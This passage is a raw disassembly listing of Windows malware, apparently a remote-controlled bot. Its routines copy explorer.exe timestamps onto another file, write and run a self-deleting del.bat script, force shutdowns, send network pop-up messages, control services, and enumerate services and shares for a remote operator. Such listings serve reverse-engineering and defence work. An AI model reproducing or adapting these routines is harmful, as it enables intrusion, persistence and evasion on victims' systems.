sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2810000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2800607h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call near ptr 26A0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27008FEh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26F0000h push edi call near ptr 26608E4h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680EE8h push eax call near ptr 2670000h nop lea eax, [ebp+var_15C] push eax call near ptr 2680DCBh nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2680C80h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2820000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2660B41h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D05B7h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_43898C loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 2680925h push eax push offset unk_438964 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438934 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26D05B7h nop cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call near ptr 26B0000h nop mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B0313h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27A0432h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389B0[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389AC[esi] push offset unk_438AC0 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A94 jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A8[eax*4] push offset unk_438A70 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 2680925h nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2680925h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 2680925h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD call near ptr 2680925h nop cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A8[eax*4] push offset unk_439054 push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389AC[eax*4] push offset dword_439038 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A8[eax*4] push offset unk_439014 push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390A0 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389AC[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A8[eax*4] push offset unk_439128 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] 